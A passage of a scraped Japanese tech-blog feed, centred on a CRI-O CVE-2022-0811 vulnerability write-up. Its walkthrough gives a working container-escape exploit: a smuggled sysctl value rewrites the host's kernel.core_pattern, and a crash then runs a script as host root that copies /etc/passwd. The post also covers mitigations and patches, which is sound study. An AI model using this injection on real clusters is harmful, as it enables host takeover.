11:pids:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b010:devices:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b09:hugetlb:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b08:perf_event:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b07:net_cls,net_prio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b06:blkio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b05:memory:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b04:cpu,cpuacct:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b03:freezer:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b02:cpuset:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b01:name=systemd:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0GKE のノードに使われる COS では、デフォルトで AppArmor が有効になっているようです。(https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor)$ k run ubuntu --image ubuntu -- sleep 3600pod/ubuntu created$ k exec -it ubuntu -- bashroot@ubuntu:/# cat /proc/self/attr/current cri-containerd.apparmor.d (enforce)root@ubuntu:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission denied以上のことから EKS, GKE では本脆弱性の影響はなさそうです。さいごに本脆弱性の調査を通じて、コンテナを構成する Linux の要素技術やコンテナセキュリティへの理解が深まりました。Linux の技術について包括的に学ぶのは(個人的には)難しいので、このような脆弱性の調査から学ぶアプローチも良いのではと思います。本記事が皆さんの学習の糧になれば幸いです。参考リンクCVE-2022-0492https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492https://nvd.nist.gov/vuln/detail/CVE-2022-0492Linuxhttps://lwn.net/Articles/679786/https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/https://linuxhint.com/install-linux-kernel-ubuntu/https://man7.org/linux/man-pages/man7/cgroups.7.htmlhttps://blog.tiqwab.com/2021/11/13/docker-and-cgroups.htmlhttps://en.wikipedia.org/wiki/Seccomphttps://en.wikipedia.org/wiki/Security-Enhanced_Linuxhttps://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.htmlコンテナセキュリティhttps://container-security.dev/security/breakout-to-host.htmlhttps://speakerdeck.com/mochizuki875/container-dev-securityhttps://speakerdeck.com/mochizuki875/container-seccomp","link":"https://kyohmizu.hatenablog.com/entry/2022/04/06/233150","isoDate":"2022-04-06T14:31:50.000Z","dateMiliSeconds":1649255510000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"[2022/04/01] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年04月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/qNk58ApYjdg 告知とかニュースっぽいもの Kubernetes Meetup Tokyoで登壇しましたhttps:/...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220401","isoDate":"2022-04-01T12:45:40.000Z","dateMiliSeconds":1648817140000,"authorName":"bells17","authorId":"bells17"},{"title":"Cluster Autoscaler","contentSnippet":"Kubernetes Meetup Tokyo #49で発表したセッション資料です\\rhttps://k8sjp.connpass.com/event/240993/\\r\\r配信URL:\\rhttps://youtu.be/KOrantQgXkI?t=2258","link":"https://speakerdeck.com/bells17/cluster-autoscaler","isoDate":"2022-03-29T04:00:00.000Z","dateMiliSeconds":1648526400000,"authorName":"bells17","authorId":"bells17"},{"title":"CVE-2022-0811 調査まとめ","contentSnippet":"CRI-O の脆弱性 (CVE-2022-0811) について調べた内容をまとめました。脆弱性の詳細と、関連する CRI-O の実装や Linux の機能を紹介します。CVE-2022-0811 概要CRI-O についてCRI-O 概要pinns による pod へのカーネルパラメータ設定Coredumpエクスプロイト要点検証回避策修正パッチcommit1commit2containerd の場合さいごに参考リンクCVE-2022-0811 概要CVE-2022-0811 は CRI-O の任意コード実行・コンテナブレイクアウトの脆弱性で、報告した CrowdStrike 社は「cr8escape」と呼んでいます。CRI-O の v1.19 以降に影響があり、すでに修正バージョンがリリースされています。 (詳細は Security Advisory を参照)カーネルパラメータ設定の検証不備により、/proc/sys/kernel/core_pattern への書き込みが可能となっていました。これによりプロセスを異常終了させることでホストの root 権限で任意の操作を行えます。CRI-O についてCRI-O 概要https://github.com/cri-o/cri-oCRI-O は Kubernetes に最適化された軽量な高レベルコンテナランタイムです。CLI ツールは crictl (https://github.com/kubernetes-sigs/cri-tools) を使用します。# cat container-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu\\" }, \\"image\\":{ \\"image\\": \\"ubuntu\\" }, \\"command\\": [ \\"sleep\\", \\"3600\\" ], \\"log_path\\":\\"ubuntu.0.log\\", \\"linux\\": { }}# cat pod-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"hdishd83fjaiarawuwk28bcsb\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { }}# crictl runp pod-config.json ← pod の起動b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc# crictl create b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc container-config.json pod-config.json ← コンテナ作成2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl start 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7 ← コンテナ起動2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl podsPOD ID CREATED STATE NAME NAMESPACE ATTEMPT RUNTIMEb69761649f8f6 42 seconds ago Ready ubuntu-sandbox default 1 (default)# crictl psCONTAINER IMAGE CREATED STATE NAME ATTEMPT POD ID2ce8010c047df ubuntu 19 seconds ago Running ubuntu 0 b69761649f8f6pinns による pod へのカーネルパラメータ設定CRI-O は pinns utility を使用することで、pod 起動時にカーネルパラメータ (sysctls) を設定できます。first commit)設定には -s オプションを使用し、key=value の形式で複数のカーネルパラメータを連結して渡すことができます。pinns -s kernel_parameter1=value1+kernel_parameter2=value2設定可能な sysctls は以下の実装で制限されています。https://github.com/cri-o/cri-o/blob/main/pkg/config/sysctl.govar prefixNamespaces = map[string]Namespace{ \\"kernel.shm\\": IpcNamespace, \\"kernel.msg\\": IpcNamespace, \\"fs.mqueue.\\": IpcNamespace, \\"net.\\": NetNamespace,}// Validate checks that a sysctl is whitelisted because it is known to be// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used// to forbid sysctls for pod sharing the respective namespaces with the host.// This check is only used on sysctls defined by the user in the crio.conf// file.func (s *Sysctl) Validate(hostNet, hostIPC bool) error { nsErrorFmt := \\"%q not allowed with host %s enabled\\" if ns, found := namespaces[s.Key()]; found { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } for p, ns := range prefixNamespaces { if strings.HasPrefix(s.Key(), p) { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } if ns == NetNamespace && hostNet { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } } return errors.Errorf(\\"%s not whitelisted\\", s.Key())}sysctls の適用は pinns 内に実装されており、-s オプションの設定値をもとに /proc/sys/ 以下のファイルに書き込みを行なっています。https://github.com/cri-o/cri-o/blob/main/pinns/src/sysctl.cstatic int write_sysctl_to_file (char * sysctl_key, char* sysctl_value){ if (!sysctl_key || !sysctl_value) { pwarn (\\"sysctl key or value not initialized\\"); return -1; } // replace periods with / to create the sysctl path for (char* it = sysctl_key; *it; it++) if (*it == \'.\') *it = \'/\'; _cleanup_close_ int dirfd = open (\\"/proc/sys\\", O_DIRECTORY | O_PATH | O_CLOEXEC); if (UNLIKELY (dirfd < 0)) { pwarn (\\"failed to open /proc/sys\\"); return -1; } _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY); if (UNLIKELY (fd < 0)) { pwarnf (\\"failed to open /proc/sys/%s\\", sysctl_key); return -1; } int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value))); if (UNLIKELY (ret < 0)) { pwarnf (\\"failed to write to /proc/sys/%s\\", sysctl_key); return -1; } return 0;}Coredumpプロセスが異常終了した時に、プロセスメモリの dump を core ファイルとして出力します。Coredump の設定は /proc/sys/kernel/core_pattern に書かれており、ファイルの直接編集や sysctl コマンドで設定を変更できます。# sysctl -w kernel.core_pattern=\\"%e-%s.core\\"kernel.core_pattern には dump の出力先パスを指定しますが、最初文字がパイプ | の場合は指定パスのプログラムを実行します (この場合 dump は標準入力として渡される)。/proc/sys/kernel/core_pattern のデフォルト値として、ubuntu (20.04) では apport というバグレポートツールが指定されています。$ cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %Eまた Coredump のファイルサイズ上限は ulimit で設定します。脆弱性は Soft Limit が0でも刺さりそうです。# cat /proc/self/limits Limit Soft Limit Hard Limit Units Max cpu time unlimited unlimited seconds Max file size unlimited unlimited bytes Max data size unlimited unlimited bytes Max stack size 8388608 unlimited bytes Max core file size 0 unlimited bytes Max resident set unlimited unlimited bytes Max processes 3819 3819 processes Max open files 1024 1048576 files Max locked memory 67108864 67108864 bytes Max address space unlimited unlimited bytes Max file locks unlimited unlimited locks Max pending signals 3819 3819 signals Max msgqueue size 819200 819200 bytes Max nice priority 0 0 Max realtime priority 0 0 Max realtime timeout unlimited unlimited usエクスプロイト要点kernel.core_pattern は Namespaced ではないため、ホストとコンテナで同じファイルを参照するコンテナ内からは変更不可pod 起動時に sysctl に kernel.core_pattern を設定できれば、ホストの値も変更できるCIO-O 内で sysctl のキーを検証しているが、value に + を含む文字列を渡すことでバイパス可能 (以下コードを参照)設定後にプロセスを異常終了させることで、ホストの root 権限で任意コード実行問題となったコードfunc getSysctlForPinns(sysctls map[string]string) string { // this assumes there\'s no sysctl with a `+` in it const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls { fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) // ← \\"\'key1=value1\'+\'key2=value2\'\\" の形で文字列連結する } return strings.TrimSuffix(g.String(), pinnsSysctlDelim)}検証脆弱なバージョンの CRI-O で CVE-2022-0811 を検証します。Kubernetes は使用せず、crictl での検証を行いました。# crio --versioncrio version 1.23.1Version: 1.23.1GitCommit: af642cdafed31e4be5dd82e996bb084050c8bb89GitTreeState: dirtyBuildDate: 1980-01-01T00:00:00ZGoVersion: go1.17.4Compiler: gcPlatform: linux/amd64Linkmode: staticBuildTags: apparmor, exclude_graphdriver_devicemapper, seccomp, selinuxSeccompEnabled: trueAppArmorEnabled: true最初にホストに実行させたいプログラムを配置するコンテナを作成します。json、pod-config.json は前述のファイルと同じものです。# crictl runp pod-config.json d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a# crictl create d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a container-config.json pod-config.json 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123# crictl start 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac61239029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123起動したコンテナにアタッチし、コンテナの root パスにプログラムを配置します。/etc/passwd をコンテナ内の /output に出力するスクリプトを用意しました。# crictl exec -it 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 bashroot@d33614f0b22d:/# mount | grep overlayoverlay on / type overlay (rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/73PSGHB33J2RBZXIUVK7SRC4UA,upperdir=/var/lib/containers/storageoverlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff,workdir=/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/work,metacopy=on,volatile)root@d33614f0b22d:/# echo \'#!/bin/sh\' > /cmdroot@d33614f0b22d:/# echo \'cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output\' >> cmdroot@d33614f0b22d:/# cat /cmd#!/bin/shcat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/outputroot@d33614f0b22d:/# chmod a+x /cmd続いて kernel.core_pattern を変更する pod を作成します。+ で連結した value を記載します。value に記載する kernel.core_pattern には、ホストから見たプログラムの絶対パスを指定しています。# をつけていますが、これは CRI-O の実装で付与されるシングルクォートを無効化する役割があります。# cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %E# cat pod-config2.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox2\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"edishd83djaidwnduwk28bcsd\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { \\"sysctls\\": { \\"kernel.shm_rmid_forced\\": \\"1+kernel.core_pattern=|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\\" } }}# crictl runp pod-config2.json FATA[0001] run pod sandbox: rpc error: code = Unknown desc = container create failed: write to /proc/sys/kernel/shm_rmid_forced: Invalid argument pod 作成はエラーになりますが、kernel.core_pattern を見ると変更されていることがわかります。# cat /proc/sys/kernel/core_pattern |/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\'最後に起動中のコンテナ内でプロセスを異常終了させることで、 Coredump の機能を呼び出しホストの root 権限でプログラムを実行させることができます。root@d33614f0b22d:/# tail -f /dev/null &[1] 17root@d33614f0b22d:/# ps PID TTY TIME CMD 4 pts/0 00:00:00 bash 17 pts/0 00:00:00 tail 18 pts/0 00:00:00 psroot@d33614f0b22d:/# kill -SIGSEGV 17root@d33614f0b22d:/# ls /bin boot cmd dev etc home lib lib32 lib64 libx32 media mnt opt output proc root run sbin srv sys tmp usr var[1]+ Segmentation fault (core dumped) tail -f /dev/nullroot@d33614f0b22d:/# cat /output root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin...回避策CrowdStrike 社のブログ を参考にしています。CRI-O のアップデート (非推奨だが v1.18 以下へのダウングレードも可)OPA 等のポリシーを設定するPSP で sysctls を全てブロックするpinns の -s を除去するラッパーを用意し、crio.conf の pinns_path に設定する修正パッチcommit1https://github.com/cri-o/cri-o/commit/05c443b06356c2dbf9d30060f362279c6b8ac1a1pinns の -s オプションを生成する箇所で、+ に対してバリデーションを追加しています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... if len(cfg.Sysctls) != 0 {- pinnsArgs = append(pinnsArgs, \\"-s\\", getSysctlForPinns(cfg.Sysctls))+ pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)+ if err != nil {+ return nil, errors.Wrapf(err, \\"invalid sysctl\\")+ }+ pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls) } ... }- func getSysctlForPinns(sysctls map[string]string) string {- // this assumes there\'s no sysctl with a `+` in it+ func getSysctlForPinns(sysctls map[string]string) (string, error) {+ // This assumes there\'s no valid sysctl value with a `+` in it+ // and as such errors if one is found. const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls {+ if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {+ return \\"\\", errors.Errorf(\\"\'%s=%s\' is invalid: %s found yet should not be present\\", key, value, pinnsSysctlDelim)+ } fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) }- return strings.TrimSuffix(g.String(), pinnsSysctlDelim)+ return strings.TrimSuffix(g.String(), pinnsSysctlDelim), nil }commit2https://github.com/cri-o/cri-o/commit/1af1f8af2c7e23525102dffbf0899b69e34ed3d2文字列の連結をやめ、-s をパラメータ毎に設定する修正がされています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... - if len(cfg.Sysctls) != 0 {- pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)- if err != nil {- return nil, errors.Wrapf(err, \\"invalid sysctl\\")- }- pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls)+ for key, value := range cfg.Sysctls {+ pinnsArgs = append(pinnsArgs, \\"-s\\", fmt.Sprintf(\\"%s=%s\\", key, value)) } ... }containerd の場合他のコンテナランタイムがどうなっているか気になったので、containerd の実装を調べてみました。https://github.com/opencontainers/runc/blob/main/libcontainer/configs/validate/validator.go// sysctl validates that the specified sysctl keys are valid or not.// /proc/sys isn\'t completely namespaced and depending on which namespaces// are specified, a subset of sysctls are permitted.func (v *ConfigValidator) sysctl(config *configs.Config) error { validSysctlMap := map[string]bool{ \\"kernel.msgmax\\": true, \\"kernel.msgmnb\\": true, \\"kernel.msgmni\\": true, \\"kernel.sem\\": true, \\"kernel.shmall\\": true, \\"kernel.shmmax\\": true, \\"kernel.shmmni\\": true, \\"kernel.shm_rmid_forced\\": true, } for s := range config.Sysctl { if validSysctlMap[s] || strings.HasPrefix(s, \\"fs.mqueue.\\") { if config.Namespaces.Contains(configs.NEWIPC) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts ipc namespace\\", s) } } if strings.HasPrefix(s, \\"net.\\") { if config.Namespaces.Contains(configs.NEWNET) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts network namespace\\", s) } } return fmt.Errorf(\\"sysctl %q is not in a separate kernel namespace\\", s) } return nil}CRI-O は pinns により独自の sysctls 設定を実装していますが、pod 作成時に設定する都合上、 OCI の機能を使わない方法を選んだのかもしれません (根拠はないです)。さいごに初めて CRI-O を触りましたが、Docker や containerd とはかなり仕組みが異なることがわかりました。脆弱性の調査を通して CRI-O の実装や Linux の機能に触れることができ、良い機会を得られたと思います。内容に誤りが含まれる可能性がありますので、何かお気づきの方はご指摘等よろしくお願いします。参考リンクhttps://nvd.nist.gov/vuln/detail/CVE-2022-0811https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerabilityhttps://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7https://pwning.systems/posts/escaping-containers-for-fun/https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mountshttps://valinux.hatenablog.com/entry/20210721https://qiita.com/rarul/items/d33b664c8414f065e65ehttps://man7.org/linux/man-pages/man5/core.5.htmlhttps://lwn.net/Articles/280959/https://wiki.ubuntu.com/Apport","link":"https://kyohmizu.hatenablog.com/entry/2022/03/28/182243","isoDate":"2022-03-28T09:22:43.000Z","dateMiliSeconds":1648459363000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"nnn(Terminal file manager)を使ってみる","contentSnippet":"nnnとはhttps://github.com/jarun/nnnターミナル上で動作するファイルマネージャー 良い点軽量で高速な動作を保つために機能をプラグインとして外出しして拡張できる設計になってますプラグインはシェルスクリプトなどで簡単に記述できますキーバインドはviライクですtmuxを利用してる状態の画像表示も問題ないですターミナルはkittyを利用しています インストールUbuntu$ sudo apt install nnnArch Linux$ sudo pacman -S nnnMacOS$ bre...","link":"https://zenn.dev/tayusa/articles/1f87e798ccbed0","isoDate":"2022-03-27T13:27:45.000Z","dateMiliSeconds":1648387665000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"[2022/03/25] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/NewvQB5q-QU 告知とかニュースっぽいもの Cloud Native Database Meetup #4https:...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220325","isoDate":"2022-03-25T12:55:35.000Z","dateMiliSeconds":1648212935000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るTCPIPプロトコル","contentSnippet":"はじめにとりあえずIT業界に入ったら読んでおけという名著はいろいろありますが、その中の1冊がマスタリングTCP/IP入門編でしょう。僕も買ってはいたものの読むのを途中で挫折していたので、今回しっかり読んでTCP/IPを再勉強してみたいと思います。マスタリングTCP/IPを読みながらその他わからんことはググりつつ、golangでTCPIPプロトコルそのものを自作してみます。方針は以下のようにします。ethernetから作るデータのやり取りにnetパッケージは一切使わない(訂正、PCのIPやMacアドレスを取るのにだけ使用しますた)データのやり取りに使うのはsyscal...","link":"https://zenn.dev/satoken/articles/golang-tcpip","isoDate":"2022-03-21T16:39:19.000Z","dateMiliSeconds":1647880759000,"authorName":"satoken","authorId":"satoken"},{"title":"[2022/03/18] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月18日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/y7DMp3aqCFM 告知とかニュースっぽいもの 3-shake SRE Tech Talk #3https://youtu...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220318","isoDate":"2022-03-18T12:50:45.000Z","dateMiliSeconds":1647607845000,"authorName":"bells17","authorId":"bells17"},{"title":"あるいはサイドカーでいっぱいの海","contentSnippet":"3-shake SRE Tech Talk #3 https://3-shake.connpass.com/event/241284/ #SRETT","link":"https://speakerdeck.com/nwiizo/aruihasaidokadeitupaifalsehai","isoDate":"2022-03-18T04:00:00.000Z","dateMiliSeconds":1647576000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Pandocカスタムライター入門1: 基本は文字列処理","contentSnippet":"Pandocは様々な文書ファイルを相互変換できるソフトウェアです。“A unitversal document converter”を名乗るだけのことはあり、HTML, LaTeX, Docx, Markdownなどの様々なファイル形式に対応します。更には対応するファイル形式の追加に対応します。入力の場合はカスタムリーダー、出力の場合はカスタムライターと呼ばれ、共にLua言語で定義できます。","link":"https://blog.atusy.net/2022/03/14/pandoc-custom-writer/","isoDate":"2022-03-14T00:00:00.000Z","dateMiliSeconds":1647216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NFTを開発するためのブロックチェーン・スマートコントラクト技術","contentSnippet":"https://cryptocurrency.connpass.com/event/240069/\\rNFT(Non Fungible Token:非代替性トークン)が社会で大きな注目を集めています。\\rEthereum(イーサリアム)ブロックチェーンの概要から始まり、スマートコントラクトについて触れ、NFTを開発するための技術についてお伝えしました。","link":"https://speakerdeck.com/shukob/nftwokai-fa-surutamefalseburotukutiensumatokontorakutoji-shu","isoDate":"2022-03-12T05:00:00.000Z","dateMiliSeconds":1647061200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Observability Conference 2022 に登壇しました","contentSnippet":"「Dapr の概念と実装から学ぶ Observability への招待」 というタイトルで登壇します。https://event.cloudnativedays.jp/o11y2022/talks/1382:embed:cite セッション概要Dapr は CloudNative な技術を背景に持つ分散アプリケーションランタイムです。本セッションでは Dapr の Observability に関する各種機能と、その実装について解説していきます。さらにスリーシェイクの Dapr と Observability への取り組みに関してもご紹介します。Dapr の機能でカバーできる点...","link":"https://zenn.dev/nwiizo/articles/d837b78914de23","isoDate":"2022-03-11T04:02:18.000Z","dateMiliSeconds":1646971338000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[2022/03/04] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月04日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/3s0T6k24I_o 告知とかニュースっぽいもの Twitterコミュニティ機能についてhttps://twitter.co...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220304","isoDate":"2022-03-04T12:34:50.000Z","dateMiliSeconds":1646397290000,"authorName":"bells17","authorId":"bells17"},{"title":"RStudio Serverでblogdownを快適に使えるようにする","contentSnippet":"RStudioではうまくプレビューできたblogdown製のウェブページが、RStudio Serverではうまくプレビューできないことがあります。例えば以下のようなことが起きます。","link":"https://blog.atusy.net/2022/03/02/blogdown-rstudio-server/","isoDate":"2022-03-02T00:00:00.000Z","dateMiliSeconds":1646179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ウェブサイトのCSSやJavaScriptでキャッシュの衝突を避ける","contentSnippet":"CSSやJavascriptのキャッシュはブラウジングの速度に貢献する一方、更新がクライアントサイドに適切に反映されない場合があります。ブラウザがキャッシュしている場合、キャッシュの有効起源切れを待つかスーパリロードを使うという手もあります。スーパーリロードはChromeやFirefoxではCtrl+Shift+Enterのキーボードショートカットでも実行できます。","link":"https://blog.atusy.net/2022/03/02/hugo-css-fingerprint/","isoDate":"2022-03-02T00:00:00.000Z","dateMiliSeconds":1646179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Dapr の概念と実装から学ぶObservability への招待","contentSnippet":"Observability Conference 2022 2022/03/11(Fri)\\rDapr の概念と実装から学ぶObservability への招待\\rhttps://event.cloudnativedays.jp/o11y2022/talks/1353","link":"https://speakerdeck.com/nwiizo/dapr-falsegai-nian-toshi-zhuang-karaxue-bu-observability-hefalsezhao-dai","isoDate":"2022-02-28T05:00:00.000Z","dateMiliSeconds":1646024400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"JAWS-UG SRE支部 #2 突撃!となりのSRE","contentSnippet":"jawsug-sre.connpass.com聞いてきましたのでメモと感想を残しておきます。LTマネーフォーワードのマイクロサービス基盤のこれまでとこれから by マネーフォワード @grezarjpマネーフォワードのマイクロサービス基盤の移り変わりの紹介。中央集権構造 => 権限移譲フェーズ => これから中央集権構造サービスごとに開発チームが存在、サービスにまたがってインフラチームが存在開発チームはインフラを気にしなくてもすんだ。メンバーが少ないうちはなんとかなった組織の規模に対してインフラチームがスケールしなくなった責務の分解点を再定義 DevOpsへ権限移譲フェーズ開発チームに権限を渡していくAWSとKubernatesを使用ランタイム、ミドルウェアも開発チームが管理サービスごとにNamespaceを切る、Namespace内で開発チームは権限を持つマイクロサービスごとにAWSアカウント管理して、リソースを管理するこれから権限は渡したが、運用まではむつかしい開発の運用を負荷を下げるためにTerraformのモジュール化、設定のバリデーションの整備AWSアカウントの統制、コスト可視化を進めたいアプリケーションランタイムのSnadbox化特殊要件なアプリケーションで使えるように開発チームにここまでインフラの権限を渡せて、運用できるのはすごいなと思った。QAQ: 開発チームの権限移譲の苦労、運用面、技術面A: マルチアカウントをつかって 技術上の考慮点があった人と人とのかかわりに関しては銀の弾丸はないので、地道な作業が必要ドキュメントとかで監視項目を揃えてあげるのに力を入れたQ: 開発とインフラでスキルセットの違いはあった?A:インフラはアプリをあんまり見てこなかったのでそのへんのギャップはあったQ: EKSのテナント分割の単位A: 権限分類と障害の影響範囲の最小化はシングルテナントが有利とは言われるが運用負荷を下げるためにマルチテナントを選んだSREグループのマネージャーという立場になって真っ先にやったこと by ミクシィ@isaoshimizu内容に関しては、スライドに詳しく書いてあるので参照。SREのミッション・バリューいいなあと思った。うちのチームでもちゃんと考えたい。SRE Lounge #13 LTでも今回と近いことを書いてるので参照してほしいとのこと↓組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' BlogQAQ: SRE主導でやるべきではなかったことA: SREは万能な人がおおくでできてしまう開発側のリソースが足りなくて急がないといけないことをSREがやってしまう本来はそうじゃないよねって話自分としては、SREでも開発分野でも巻き取れることはやってしまってもいいと思うんですよね。線を引きすぎるとセクショナリズムになってあまり良くない気がしてる。組織のあり方はそれぞれで、コンテキスト分かってないので、言い切ることはできないですが。Containerサービス と Toil と by スリーシェイク \xa0@tt0603ECSとEKSについてToilと紐付けての話題。Toilの削減ステップ特定計測削減ただこのプロセスはつらい。SREとしては長期的なエンジニアリング 